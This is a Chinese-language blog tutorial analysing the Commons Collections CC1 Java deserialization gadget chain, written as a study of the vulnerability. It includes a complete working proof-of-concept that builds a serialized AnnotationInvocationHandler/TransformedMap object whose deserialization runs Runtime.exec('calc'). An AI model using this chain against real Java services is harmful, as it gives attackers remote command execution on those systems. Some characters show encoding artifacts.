-
一、前置知識
- 1. 反射
- 2. Commons Collections是什么
- 3. 環(huán)境準(zhǔn)備
-
二、分析利用鏈
- 1. Transformer
-
2. InvokeTransformer
- 執(zhí)行命令
- 3. ConstantTransformer
-
4. ChainedTransformer
- 執(zhí)行命令
- 5. TransformedMap
- 6. AbstractInputCheckedMapDecorator
- 7. AnnotationInvocationHandler
-
三、編寫POC
- 1. ChainedTransformer
- 2. decorate
- 3. AnnotationInvocationHandler
- 4. 執(zhí)行序列化和反序列化操作
- 四、完整POC代碼
-
五、為什么是Target.class,為什么是"value"
- 1. 構(gòu)造方法中的判斷
-
2. readObject中的判斷
- var7 != null
- var7的值
- var5和var6的值
- var3的值
- 回到var7
- 回到POC代碼
- 六、利用鏈
一、前置知識
1. 反射
首先,Java執(zhí)行系統(tǒng)命令的語句是這樣的:
Runtime.getRuntime().exec("calc");
用反射的方法執(zhí)行Runtime.getRuntime().exec("calc")
的語句是這樣的:
//獲取Runtime類對象
Class<?> clazz = Runtime.class;
//獲取getRuntime方法
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//獲取Runtime對象
Runtime runtime = (Runtime) getRuntimeMethod.invoke(clazz, null);
//獲取exec方法
Method execMethod = clazz.getMethod("exec", String.class);
//反射執(zhí)行exec("calc")
execMethod.invoke(runtime, "calc");
如果上面這些反射代碼看不懂,建議補(bǔ)一下反射基礎(chǔ):
黑馬Java反射,Java安全-反射
2. Commons Collections是什么
Java Collections Framework 是 JDK 1.2 中的一項重要新增功能。 它添加了許多強(qiáng)大的數(shù)據(jù)結(jié)構(gòu),可以加速最重要的 Java 應(yīng)用程序的開發(fā)。 從那時起,它已成為 Java 中公認(rèn)的集合處理標(biāo)準(zhǔn)。
Commons-Collections試圖通過提供新的接口、實現(xiàn)和實用程序來構(gòu)建JDK類。
像許多常見的應(yīng)用如Weblogic、WebSphere、Jboss、Jenkins等都使?了Apache Commons Collections工具庫,當(dāng)該工具庫出現(xiàn)反序列化漏洞時,這些應(yīng)用也受到了影響,這也是反序列化漏洞如此嚴(yán)重的原因。
3. 環(huán)境準(zhǔn)備
本文中漏洞復(fù)現(xiàn)環(huán)境:
- commons-collections 3.2.1
- jdk 1.8.0_65
在pom.xml添加commons-collections依賴
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
在項目結(jié)構(gòu)中指定JDK版本
二、分析利用鏈
這個鏈分析順序是從鏈的最后部分·,即執(zhí)行命令的邏輯部分開始分析,一直到反序列化的入口點結(jié)束。
1. Transformer
Transformer是一個接口,這個接口聲明了一個transform函數(shù)
2. InvokeTransformer
這個類的位置:org.apache.commons.collections.functors.InvokerTransformer
看一下InvokeTransformer的構(gòu)造方法和tramsform方法,這里吧一些不必要的代碼省去了
public class InvokerTransformer implements Transformer, Serializable {
//構(gòu)造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
//實現(xiàn)Transformer接口的tramsform方法
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
構(gòu)造方法:InvokerTransformer(方法名,形參列表,實參列表)
tramsform方法:
- 調(diào)用接收到的對象的getClass方法,獲取他的類對象
- 用getMethod方法獲取cls類對象的iMethodName方法
- 用invoke方法執(zhí)行input對象的iMethodName方法,參數(shù)是iArgs
也可以理解成tramsform就是反射執(zhí)行 input.iMethodName(iArgs)
執(zhí)行命令
用 InvokeTransformer 來彈個計算器試試
package com.zzy.ApacheCC1;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Blog {
public static void main(String[] args) {
Class[] paramTypes = {String.class};
Object[] args1 = {"calc"};
InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
it.transform(Runtime.getRuntime());
}
}
上面這段代碼相當(dāng)于執(zhí)行了這些東西:
Object runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtime, "calc");
如何不直接調(diào)用transform方法,讓程序自動調(diào)用transform方法來命令執(zhí)行呢?請先看下面這幾個類。
3. ConstantTransformer
ConstantTransformer的構(gòu)造方法把傳過來的值賦給iConstant
然后ConstantTramsformer的tramsform方法又把他返回回去。收到什么就返回什么,很沒意思的一個方法是吧。
關(guān)鍵代碼:
public class ConstantTransformer implements Transformer, Serializable {
public ConstantTransformer(Object constantToReturn) {
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
然后我們先看下一個類
4. ChainedTransformer
public class ChainedTransformer implements Transformer, Serializable {
public ChainedTransformer(Transformer[] transformers) {
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
ChainedTransformer的構(gòu)造方法接收一個Transformer類型的數(shù)組
然后ChainedTransformer的transform方法遍歷transformers數(shù)組,依次執(zhí)行每個Tramsformr的transform方法,
給transform方法一個初始值,然后每個Tramsformr的transform方法的返回值最為下一個Tramsformr的transform方法的參數(shù)來執(zhí)行
聽起來是不是有點繞,在腦子里過幾遍,然后再實際調(diào)試一下,這樣就差不多能看懂了。
執(zhí)行命令
我們試著用ChainedTransformer結(jié)合InvokerTransformer和ConstantTransformer來自動調(diào)用InvokerTransformer的transform方法完成命令執(zhí)行
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(null);
由于Runtime類沒有實現(xiàn)Serializable接口,無法進(jìn)行序列化,但是Class類實現(xiàn)了Serializable接口。
所以這里再改進(jìn)一下代碼,用Runtime.class命令執(zhí)行
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
//獲取類對象
//Runtime.class
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
//獲取getRuntime方法
//Runtime.class.getMethod("getRuntime", null)
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
//getRuntime.invoke獲取Runtime對象
//it1.invoke(null, null)
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
//Runtime對象執(zhí)行exec命令
//it2.exec("calc")
Transformer[] transformers = {ct, it1, it2, it3};
new ChainedTransformer(transformers).transform(null);
上面這些代碼相當(dāng)于執(zhí)行了這些操作:
Class runtimeClass = Runtime.class;
Method getruntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getruntime.invoke(null, null);
runtime.exec("calc");
成功執(zhí)行命令
這里可以自動調(diào)用InvokerTransformer的transform了,但是又多出來個ChainedTransformer的transform,現(xiàn)在還得解決自動調(diào)用ChainedTransformer的transform的問題。先看看下面這幾個類吧。
5. TransformedMap
類位置:org.apache.commons.collections.map.TransformedMap
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
}
靜態(tài)decorate方法可以調(diào)用TransformedMap的構(gòu)造方法,返回一個TransformedMap實例。
TransformedMap的checkSetValue方法調(diào)用了transform方法,valueTransformer的值可以通過構(gòu)造方法的第三個參數(shù)獲得。
但是checkSetValue方法修飾符是protected,無法直接調(diào)用它,我們接著尋找一個可以調(diào)用checkSetValue方法的類。
6. AbstractInputCheckedMapDecorator
它是TransformedMap的父類
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
可以看到它的內(nèi)部類MapEntry的setValue方法調(diào)用了checkSetValue方法,但是setValue方法依然不能直接調(diào)用,接著尋找能調(diào)用setValue方法的類吧。
7. AnnotationInvocationHandler
這個類的主要作用是為注解處理器提供代理對象,以便在運行時動態(tài)地處理注解。
這個類的位置:sun.reflect.annotation.AnnotationInvocationHandler
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
這個類的readObject方法調(diào)用了var5的setValue方法,readObject正好是反序列化的入口點,終于快結(jié)束了。
var5是怎么來的呢?
AnnotationInvocationHandler構(gòu)造方法的第三個參數(shù)var2賦給了memberValues
在readObject中最后賦給了var5
Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();
next方法位置:AbstractInputCheckedMapDecorator.EntrySetIterator#next
在這里 next()
方法用于迭代原始映射中的鍵值對,并將其轉(zhuǎn)換為MapEntry
類型。在這個方法中,首先通過調(diào)用迭代器的next()
方法來獲取下一個元素,并將其強(qiáng)制轉(zhuǎn)換為Map.Entry
類型。然后,使用獲取到的鍵值對和父對象作為參數(shù),創(chuàng)建一個新的MapEntry
對象,并將其作為方法的返回值。
返回一個MapEntry對象,那個AnnotationInvocationHandler的var5就是MapEntry對象,最后調(diào)用了MapEntry的SetValue方法。
執(zhí)行MapEntry的SetValue方法又會調(diào)用checkSetValue方法
checkSetValue調(diào)用ChainedTransformer的transform方法,進(jìn)而達(dá)到命令執(zhí)行的效果
到此,利用鏈構(gòu)造完畢,我們將編寫完整的POC
三、編寫POC
1. ChainedTransformer
這一步無需多言,跟在ChainedTransformer那里講的一樣,最后獲得一個ChainedTransformer對象
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
2. decorate
新建一個HashMap對象,他的鍵(Key)的名稱為value
,至于為什么是value在本文章第五節(jié)會分析
TransformedMap.decorate返回一個TransformedMap實例,
實例的valueTransformer的值就是chainedTransformer
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
3. AnnotationInvocationHandler
用反射方法新建AnnotationInvocationHandler對象,用構(gòu)造方法把上一步的TransformedMap實例傳進(jìn)來
構(gòu)造方法傳的參數(shù)為什么是 Target.class 在本文章第五節(jié)會分析
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated);
4. 執(zhí)行序列化和反序列化操作
反序列化時觸發(fā)readObject,進(jìn)而觸發(fā)setValue,setValue時觸發(fā)checkSetValue,checkSetValue返回的時候執(zhí)行transform方法,最終進(jìn)行命令執(zhí)行
這里使用自己建立的序列化和反序列化方法,來模擬真實環(huán)境的反序列化。
serial(poc);
unserial();
這是序列化和反序列化的方法,不懂的話可以看 菜鳥教程 Java 序列化
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
in.readObject();
}
四、完整POC代碼
package com.test.ApacheCC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Blog {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
ChainedTransformer
*/
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
/*
TransformedMap.decorate
*/
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated);
/*
AnnotationInvocationHandler
*/
serial(poc);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
in.readObject();
}
}
成功執(zhí)行命令
五、為什么是Target.class,為什么是"value"
1. 構(gòu)造方法中的判斷
通過構(gòu)造方法給AnnotationInvocationHandler的var1賦值為Target.class
然后把var1賦值給了this.type (記住這個變量)
把var2賦值給了this.memberValues
獲取var1所有的接口
Class[] var3 = var1.getInterfaces();
然后if語句里面有三個條件,滿足這三個條件才能給 memberValues
賦值,才能在readObject
時觸發(fā)利用鏈
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class)
- var1.isAnnotation() => 檢查
var1
是否是一個注解 - var3.length == 1 => 檢查
var1
的接口數(shù)量是否為1 - var3[0] == Annotation.class => 檢查這個唯一的接口是否是
Annotation.class
通過調(diào)試可以看到,var3[0]即Target.class.getInterfaces()[0]
的值就是Annotation類對象,即 Annotation.class
所以構(gòu)造方法應(yīng)該傳入一個注解類型的類對象。
2. readObject中的判斷
var7 != null
AnnotationInvocationHandler的readObject里面有一個判斷,var7不為空才繼續(xù)執(zhí)行下面的代碼
var7的值
var7怎么來的呢?看代碼:
var2 = AnnotationType.getInstance(this.type)
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
之前分析AnnotationInvocationHandler的時候知道
var5和var6的值
var5的值就是decorate傳進(jìn)來的那個鍵值對
var6的值就是var5的key,即 "value"
var7的值通過var3得到
var3的值
var3則是 AnnotationType.getInstance(this.type).memberTypes()
Target.class:
可以看到Target只有一個名為value的成員類型
var3 包含了Target
注解中定義的所有成員類型的鍵值對,通過調(diào)試可以看到結(jié)構(gòu)是這樣的:
其中,鍵是成員名稱(String類型),值是成員的類型(Class類型)
回到var7
給var7賦值的代碼是
Class var7 = (Class)var3.get(var6);
根據(jù)CC利用鏈學(xué)習(xí)的解釋var3 是HashMap類型的,那么執(zhí)行的就是HashMap的get方法
根據(jù)菜鳥教程對get方法的解釋,get方法就是獲取指定key的value
具體到上面這段代碼就是這樣
Class var7 = (Class)var3.get("value");
也就是獲取到Target.class的value的類型,這里是ElementType
回到POC代碼
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
如果這里map.put傳入的 key ,在Target.class中沒有對應(yīng)的成員名稱的話,var3就找不到var6,那么var7就為null,就無法執(zhí)行下面的setValue了。
六、利用鏈
這里模仿 ysoserial 描述的利用鏈寫出CC1的TransformedMap利用鏈文章來源:http://www.zghlxwxcb.cn/news/detail-760078.html
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
MapEntry.checkSetValue()
TransformedMap.transform()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
感謝安全研究員 Innocent.. 的指導(dǎo)
參考文章和視頻
訊飛星火
java-CC鏈1分析
白日夢組長 CC1鏈?zhǔn)謱慐XP文章來源地址http://www.zghlxwxcb.cn/news/detail-760078.html
到了這里,關(guān)于Java反序列化漏洞-CC1利用鏈分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!